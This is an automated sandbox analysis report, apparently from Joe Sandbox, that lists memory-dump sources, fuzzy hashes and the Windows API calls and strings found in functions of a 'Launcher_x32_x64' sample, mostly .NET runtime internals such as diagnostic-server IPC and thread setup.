Memory Dump Source

Source File: 00000000.00000002.1819849440.000000000AD61000.00000020.00000001.00040000.00000003.sdmp, Offset: 0AD60000, based on PE: true

Associated: 00000000.00000002.1819822885.000000000AD60000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEB7000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEBD000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820078291.000000000AEBF000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820097468.000000000AED0000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad60000_Launcher_x32_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65a06158f05732b377abad6a378fdcd20f98bd585887a14b4a925783a2fa72ad
Instruction ID: e4e0ecd171c37d0c885c15bf0a705c5a2ee584af2ac233c722a75dbebc58eb89
Opcode Fuzzy Hash: 65a06158f05732b377abad6a378fdcd20f98bd585887a14b4a925783a2fa72ad
Instruction Fuzzy Hash: 6D827C35A10209DFCF1ACFA5D8989AEBBB6FF88310F158129E956E7294DB309C41CF50

Function 0AF38840 Relevance: .8, Instructions: 762COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1820163618.000000000AF31000.00000020.00000001.00040000.00000003.sdmp, Offset: 0AF30000, based on PE: true

Associated: 00000000.00000002.1820144055.000000000AF30000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820189425.000000000AF5C000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820207590.000000000AF5D000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820224153.000000000AF5F000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af30000_Launcher_x32_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 249ce593df4c74837ca68a06a9b0bb5200f63bf1b8eee1f3c416d715d6870351
Instruction ID: 6617b06dd41af69f6556a39e4d9e81aecb5ca7073536d5c26d9ff3e4e8a1509f
Opcode Fuzzy Hash: 249ce593df4c74837ca68a06a9b0bb5200f63bf1b8eee1f3c416d715d6870351
Instruction Fuzzy Hash: 6D72C235A00308DFDB28DF75D498AADBBB2BB89341F148569E946E7354DB74AC82CF40

Function 0ADC8C20 Relevance: .8, Instructions: 753COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1819849440.000000000AD61000.00000020.00000001.00040000.00000003.sdmp, Offset: 0AD60000, based on PE: true

Associated: 00000000.00000002.1819822885.000000000AD60000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEB7000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEBD000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820078291.000000000AEBF000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820097468.000000000AED0000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad60000_Launcher_x32_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92d3c8f0cbd0b91acef68f00a7f6f0b68cbac972491410ebf201b1f8db61fab6
Instruction ID: adbeb89b9eec7346cf7744222abab551edc7d4133fb6a29409be707df5d1670c
Opcode Fuzzy Hash: 92d3c8f0cbd0b91acef68f00a7f6f0b68cbac972491410ebf201b1f8db61fab6
Instruction Fuzzy Hash: A5828E3091021ACFCB26CF21D958B9ABBB2FF49305F51859DE44AA7790DB71AE85CF40

Function 0CBB62A0 Relevance: .5, Instructions: 529COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1820979803.000000000CB91000.00000020.00000001.00040000.00000003.sdmp, Offset: 0CB90000, based on PE: true

Associated: 00000000.00000002.1820958761.000000000CB90000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1821035741.000000000CC12000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1821057675.000000000CC15000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1821088495.000000000CC1C000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb90000_Launcher_x32_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eceba686b5fba2ebfa24abbee31c2fced2a5a5466d82b41071dd50a6f7325ec2
Instruction ID: 9c7f84c30f8ef93454e5804b7b7185eba7cb16b3b708ab2a6f820a584d1686e8
Opcode Fuzzy Hash: eceba686b5fba2ebfa24abbee31c2fced2a5a5466d82b41071dd50a6f7325ec2
Instruction Fuzzy Hash: 6342D474E01219CFCB58CFA5C9547ADBBB2FF49305F2081AAE80AAB254DB719985CF41

Function 0ADCCCB0 Relevance: .5, Instructions: 520COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1819849440.000000000AD61000.00000020.00000001.00040000.00000003.sdmp, Offset: 0AD60000, based on PE: true

Associated: 00000000.00000002.1819822885.000000000AD60000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEB7000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEBD000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820078291.000000000AEBF000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820097468.000000000AED0000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad60000_Launcher_x32_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91ba638aa4705b8a3caf1b9c584f7e65005c1c06b5c210694a195ee15233aa5e
Instruction ID: cf3815112adba85b426ab21343fdcfc8bfd16dbf408cda646ce8068e4decfe38
Opcode Fuzzy Hash: 91ba638aa4705b8a3caf1b9c584f7e65005c1c06b5c210694a195ee15233aa5e
Instruction Fuzzy Hash: 74425134911216CFDB16DF61E89CA9AB7B2FF88301F1185A9D84AE7754DB30AD86CF40

Function 0ADDE9D0 Relevance: .4, Instructions: 352COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1819849440.000000000AD61000.00000020.00000001.00040000.00000003.sdmp, Offset: 0AD60000, based on PE: true

Associated: 00000000.00000002.1819822885.000000000AD60000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEB7000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEBD000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820078291.000000000AEBF000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820097468.000000000AED0000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad60000_Launcher_x32_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3bab31e9c7217c3243ef5347fa71481115e7b227a7d3f88dfb397f89a399ca6
Instruction ID: 3e2ce2c24a934241a60fefdd35c7f0abccfdf8fb52cf3b8862ffa0a540ff1d0b
Opcode Fuzzy Hash: c3bab31e9c7217c3243ef5347fa71481115e7b227a7d3f88dfb397f89a399ca6
Instruction Fuzzy Hash: FCF1E634222201CFD306DF36E84CA5A7BE6FFC9365B1AC9A4E45ACB625DB709D45CB40

Function 01149EF0 Relevance: 44.1, APIs: 15, Strings: 10, Instructions: 372
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0108BEC0: HeapFree.KERNEL32(00000000,00000000,00000000,?,00000000,0138695C,?,00FA762A), ref: 0108BF10

WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 01149F88
HeapFree.KERNEL32(00000000,?), ref: 0114A007

Part of subcall function 01149CA0: strtok_s.API-MS-WIN-CRT-STRING-L1-1-0(?,014255EC,00000000,00000000,?,00000000,0114A0BE), ref: 01149CB8
Part of subcall function 01149CA0: strtok_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,014255EC,?), ref: 01149D04

_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,listen,00000000,00000000), ref: 0114A1A7
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 0114A268
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0114A34E
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 0114A371
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0114A39A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 0114A3BD
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 0114A3CC

Strings

succeeded, xrefs: 0114A2F6, 0114A2FE
connect, xrefs: 0114A1BF
ds_ipc_stream_factory_configure - Attempted to create Diagnostic Port from "%s"., xrefs: 0114A0F6
listen, xrefs: 0114A1A1
ds_port_builder_set_tag - Unknown tag '%s'., xrefs: 0114A22E
ds_ipc_stream_factory_configure - Diagnostic Port creation %s, xrefs: 0114A2FF
failed, xrefs: 0114A2F1
nosuspend, xrefs: 0114A1DE
ds_ipc_stream_factory_configure - Ignoring port configuration with empty address, xrefs: 0114A292
suspend, xrefs: 0114A1F9

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: free$FreeHeapstrtok_s$ByteCharMultiWide_stricmpisspace
String ID: connect$ds_ipc_stream_factory_configure - Attempted to create Diagnostic Port from "%s".$ds_ipc_stream_factory_configure - Diagnostic Port creation %s$ds_ipc_stream_factory_configure - Ignoring port configuration with empty address$ds_port_builder_set_tag - Unknown tag '%s'.$failed$listen$nosuspend$succeeded$suspend
API String ID: 1069159200-1518389490
Opcode ID: bb768446445c907870d65871a3908ecc93727eae07edf472e8f2841224f6b370
Instruction ID: 3edaa190bc9f82871cf62022216f5a84dacd9f0beb8dbdbce778ca94cdd94a20
Opcode Fuzzy Hash: bb768446445c907870d65871a3908ecc93727eae07edf472e8f2841224f6b370
Instruction Fuzzy Hash: AFE16FB0A443249FEF39DF18EC54B9A7B79BF45B14F0141ACE90AAB290D7B25990CF41

Function 012895F0 Relevance: 38.8, APIs: 12, Strings: 10, Instructions: 289
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNELBASE(014B111C,95E4D7D1), ref: 01289676
SetConsoleCtrlHandler.KERNEL32(012894A0,00000001), ref: 01289697
GetModuleHandleW.KERNEL32(kernel32.dll), ref: 012896A2
GetProcAddress.KERNEL32(00000000,InitializeContext2), ref: 012896AE
GetModuleHandleW.KERNEL32(ntdll.dll), ref: 012896BE
GetProcAddress.KERNEL32(00000000,RtlRestoreContext), ref: 012896CD
InitializeCriticalSection.KERNEL32(014B0E80), ref: 0128971B
InitializeCriticalSection.KERNEL32(014B0EA4), ref: 0128974C
InitializeCriticalSection.KERNEL32(014B0B50), ref: 0128977D
InitializeCriticalSection.KERNEL32(014B1048), ref: 012897B0

Part of subcall function 0113FAF0: GetActiveProcessorGroupCount.KERNEL32 ref: 0113FB29
Part of subcall function 0113FAF0: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(0000000C,?,000000A1,00000000,?,?,0128982F,00E30000), ref: 0113FB61

InitializeCriticalSection.KERNEL32(014B0F14,?,00000000,?,00E30000,00000000), ref: 0128993A
DebugBreak.KERNEL32 ref: 01289F30

Part of subcall function 0108BEC0: HeapFree.KERNEL32(00000000,00000000,00000000,?,00000000,0138695C,?,00FA762A), ref: 0108BF10

DebugBreak.KERNEL32(?,00000000,?,00E30000,00000000), ref: 01289A4F
SleepEx.KERNEL32(00000000,00000000,?,00000000,?,00E30000,00000000), ref: 01289A6A
InitializeCriticalSection.KERNEL32(014B0F64,?,00000000,?,00E30000,00000000), ref: 01289A84
InitializeCriticalSection.KERNEL32(014B0B10,?,00000000,?,00E30000,00000000), ref: 01289AC1

Strings

g_pConfig->sync(), xrefs: 012899DD, 012899FC
EnsureRtlFunctions(), xrefs: 01289995
ntdll.dll, xrefs: 012896B9
kernel32.dll, xrefs: 0128969D
===================EEStartup Starting===================, xrefs: 0128996E
InitializeContext2, xrefs: 012896A8
RtlRestoreContext, xrefs: 012896C7
%s completed, xrefs: 0128999A, 01289A01
%s failed with code %x, xrefs: 012899E2
Returned successfully from InitThreadManager, xrefs: 0128981A

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: CriticalInitializeSection$AddressBreakDebugHandleModuleProc$ActiveConsoleCountCtrlFreeGroupHandlerHeapInfoProcessorSleepSystemmalloc
String ID: %s completed$%s failed with code %x$===================EEStartup Starting===================$EnsureRtlFunctions()$InitializeContext2$Returned successfully from InitThreadManager$RtlRestoreContext$g_pConfig->sync()$kernel32.dll$ntdll.dll
API String ID: 3857905088-983475224
Opcode ID: 99396401bc37e7cae03d94e0e9059c26de76f110acad632414438a23c4f1176a
Instruction ID: 25055e01a08563f6539722849508cc9fc5dafd8f0ed8c2785837e16bc1a17f90
Opcode Fuzzy Hash: 99396401bc37e7cae03d94e0e9059c26de76f110acad632414438a23c4f1176a
Instruction Fuzzy Hash: BEC1E3B4A153059FEB24EFB9E8957AE7BB4EB58708F10402EE505E72A5DBB48400CB61

Function 00EF4DE0 Relevance: 26.6, APIs: 5, Strings: 10, Instructions: 300
memorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00010000,00001000,00000040,95E4D7D1,?,00000000), ref: 00EF4E66
VirtualProtect.KERNEL32(0131BF48,00000129,00000040,00000000,95E4D7D1,?,00000000), ref: 00EF510C
TlsAlloc.KERNEL32(?,0131BA48,?,0131C040,?,0131C010,?,0131BFE0,?,0131BF80,?,0131BFB0,?,0131BF50,?,00000129), ref: 00EF514E
SetThreadStackGuarantee.KERNELBASE(?), ref: 00EF516D
GetLastError.KERNEL32(?,0131BA48,?,0131C040,?,0131C010,?,0131BFE0,?,0131BF80,?,0131BFB0,?,0131BF50,?,00000129), ref: 00EF5177

Part of subcall function 0109F6F0: LeaveCriticalSection.KERNEL32(03A80888,00000000,?,95E4D7D1,?,00000129,?,00EF4E45,95E4D7D1,?,00000000), ref: 0109F76C

Strings

(BYTE*)JIT_PatchedCodeLast - (BYTE*)JIT_PatchedCodeStart < (ptrdiff_t)GetOsPageSize(), xrefs: 00EF51CE
@WriteBarrierEAX, xrefs: 00EF4F1D
(BYTE*)JIT_PatchedCodeLast - (BYTE*)JIT_PatchedCodeStart > (ptrdiff_t)0, xrefs: 00EF51BA
@WriteBarrierEBP, xrefs: 00EF5099
@WriteBarrierEDI, xrefs: 00EF504D
@WriteBarrierEBX, xrefs: 00EF4FB5
@WriteBarrierESI, xrefs: 00EF5001
D:\a\_work\1\s\src\coreclr\vm\threads.cpp, xrefs: 00EF51C4, 00EF51D8
@WriteBarrierECX, xrefs: 00EF4F69
@WriteBarrier, xrefs: 00EF50D8, 00EF50F1

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: AllocVirtual$CriticalErrorGuaranteeLastLeaveProtectSectionStackThread
String ID: (BYTE*)JIT_PatchedCodeLast - (BYTE*)JIT_PatchedCodeStart < (ptrdiff_t)GetOsPageSize()$(BYTE*)JIT_PatchedCodeLast - (BYTE*)JIT_PatchedCodeStart > (ptrdiff_t)0$@WriteBarrier$@WriteBarrierEAX$@WriteBarrierEBP$@WriteBarrierEBX$@WriteBarrierECX$@WriteBarrierEDI$@WriteBarrierESI$D:\a\_work\1\s\src\coreclr\vm\threads.cpp
API String ID: 3484155556-337905575
Opcode ID: 594f46a67716e2f0d2b649aa4995e03fbdf926fe5a67e24e05e976db7faa27f2
Instruction ID: b6e6b3ec732a66cf1c1dec3543be21a55c0e66fc186b164fab2f84cbbf08eec9
Opcode Fuzzy Hash: 594f46a67716e2f0d2b649aa4995e03fbdf926fe5a67e24e05e976db7faa27f2
Instruction Fuzzy Hash: 60A129BB6045089BC728DB38E8A5BB67B76F75530CF141069B345AB3DCDA37980C8B51

Function 01148660 Relevance: 23.0, APIs: 8, Strings: 5, Instructions: 290
memorythreadstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 01148676
SetThreadDescription.KERNELBASE ref: 01148690

Part of subcall function 010C3C40: ReadFile.KERNEL32(?,?,?,00000000,00000004,?,00000000,?,00000000,?,011486FD,00000014,?), ref: 010C3C5F
Part of subcall function 010C3C40: GetLastError.KERNEL32(?,00000000,?,00000000,?,011486FD,00000014,?), ref: 010C3C6E
Part of subcall function 010C3C40: GetOverlappedResult.KERNEL32(?,00000004,00000000,00000001,?,00000000,?,00000000,?,011486FD,00000014,?), ref: 010C3C85

HeapFree.KERNEL32(00000000,00000000,?,?,?,00000014,?), ref: 01148794
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,DOTNET_IPC_V1,00000014,?), ref: 01148777

Part of subcall function 01086C40: GetProcessHeap.KERNEL32(95E4D7D1,?,00000000,013264F0,000000FF,?,00000002,00E3F233,?,?,?,95E4D7D1), ref: 01086C6E
Part of subcall function 01086C40: RtlAllocateHeap.NTDLL(03A20000,00000000,?,95E4D7D1,?,00000000,013264F0,000000FF,?,00000002,00E3F233,?,?,?,95E4D7D1), ref: 01086C8A

HeapFree.KERNEL32(00000000,00000000,00000014,?), ref: 011487BE
HeapFree.KERNEL32(00000000,?,?,00000000), ref: 01148930
FlushFileBuffers.KERNEL32(?,?,00000000), ref: 01148939
HeapFree.KERNEL32(00000000,?), ref: 0114894B

Strings

DiagnosticServer - received IPC message with command set (%d) and command id (%d), xrefs: 0114880A
Diagnostics IPC listener was undefined, xrefs: 01148A3C
Received unknown request type (%d), xrefs: 011489B2, 01148A07
DOTNET_IPC_V1, xrefs: 01148771
.NET EventPipe, xrefs: 01148684

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: Heap$Free$FileThread$AllocateBuffersCurrentDescriptionErrorFlushLastOverlappedProcessReadResultstrcmp
String ID: .NET EventPipe$DOTNET_IPC_V1$DiagnosticServer - received IPC message with command set (%d) and command id (%d)$Diagnostics IPC listener was undefined$Received unknown request type (%d)
API String ID: 1528069343-1097641503
Opcode ID: a4d5b71f37c246c093f7b128eac6708f10f104e7d5269765c405c50f83a67510
Instruction ID: 0a583ee0c484f3418dd2853a08d84ecbeba8d4cbdf5858f62ee0cf7853589632
Opcode Fuzzy Hash: a4d5b71f37c246c093f7b128eac6708f10f104e7d5269765c405c50f83a67510
Instruction Fuzzy Hash: C3A127316083419BE32DDBA8DC64B6ABBE9BFD4F04F04451DFA85972A4DB70C900C752

Function 01148A80 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 172
pipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 01147490: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018,?,00000000,?,0114BE88,?,00000000,?,?,?,?,?,?,?,0114C4BC), ref: 01147495
Part of subcall function 01147490: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,0114C4BC,?,01148990), ref: 011474E3

CoCreateGuid.OLE32(014BC200,?,00000000), ref: 01148AF1
CloseHandle.KERNEL32(0136722C,?,?), ref: 01148BB1
DisconnectNamedPipe.KERNEL32(000000FF,?,?), ref: 01148BDB
CloseHandle.KERNEL32(000000FF,?,?), ref: 01148BE7
CloseHandle.KERNEL32(?,?,?), ref: 01148C03
FlushFileBuffers.KERNEL32(?,?,?), ref: 01148C4B
DisconnectNamedPipe.KERNEL32(?,?,?), ref: 01148C5A

Strings

At least one Diagnostic Port failed to be configured., xrefs: 01148B15
Failed to create diagnostic server thread (%d)., xrefs: 01148CD5

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: CloseHandle$DisconnectNamedPipe$BuffersCreateFileFlushGuidfreemalloc
String ID: At least one Diagnostic Port failed to be configured.$Failed to create diagnostic server thread (%d).
API String ID: 3534690289-1000282211
Opcode ID: b73b593c2ac4f9a2f9034b519974350f0bef9d5099a1bf9b934c0e01dd10353d
Instruction ID: 1bde31e26e09f078260a7d44a842af64be7af55097976b327a5ea2d8f7feae52
Opcode Fuzzy Hash: b73b593c2ac4f9a2f9034b519974350f0bef9d5099a1bf9b934c0e01dd10353d
Instruction Fuzzy Hash: 40511AB01017008FE7349F6CE899BD67BA8FB06B34F14071DEAA5972E0D7719449CB55

Function 00EF5920 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 161
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00EF598D
GetCurrentThread.KERNEL32 ref: 00EF599E
OpenThreadToken.ADVAPI32(00000000), ref: 00EF59A5
RevertToSelf.ADVAPI32 ref: 00EF59AF
GetCurrentThread.KERNEL32 ref: 00EF59DC
DuplicateHandle.KERNELBASE(?,00000000), ref: 00EF59E6
SetThreadToken.ADVAPI32(00000000,FFFFFFFF), ref: 00EF5A17
FindCloseChangeNotification.KERNELBASE(FFFFFFFF), ref: 00EF5A6C
_controlfp_s.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,00000300), ref: 00EF5A9B

Strings

SetupThread managed Thread %p Thread Id = %x, xrefs: 00EF5961
UndoRevert/SetThreadToken failed for hToken = %d, xrefs: 00EF5A37

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: Thread$Current$Token$ChangeCloseDuplicateFindHandleNotificationOpenProcessRevertSelf_controlfp_s
String ID: SetupThread managed Thread %p Thread Id = %x$UndoRevert/SetThreadToken failed for hToken = %d
API String ID: 467153990-1638468778
Opcode ID: 7c35446b9313caf3bb9bdd9de7cf906d8a085df49225a0c8509ca1791ec266c3
Instruction ID: 14e2647e767fa8a67532cd2a3e0a85ca851f8075cc96dd52b3f081a9e393d0ad
Opcode Fuzzy Hash: 7c35446b9313caf3bb9bdd9de7cf906d8a085df49225a0c8509ca1791ec266c3
Instruction Fuzzy Hash: DE51D672640B09EBD7309F65EC45BAAB7BCEB15B14F104229FB25A62D0EB745900CB51

Function 0128BEB0 Relevance: 19.8, APIs: 13, Instructions: 334
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(95E4D7D1,?,00000000), ref: 0128BF9E
CreateFileMappingW.KERNELBASE(?,00000000,00000002,00000000,00000000,00000000,95E4D7D1,?,00000000), ref: 0128BFEF
CloseHandle.KERNEL32(00000000), ref: 0128C004
MapViewOfFileEx.KERNELBASE(0000002C,00000004,?,?,?,00000000), ref: 0128C059
UnmapViewOfFile.KERNEL32(00000024), ref: 0128C078
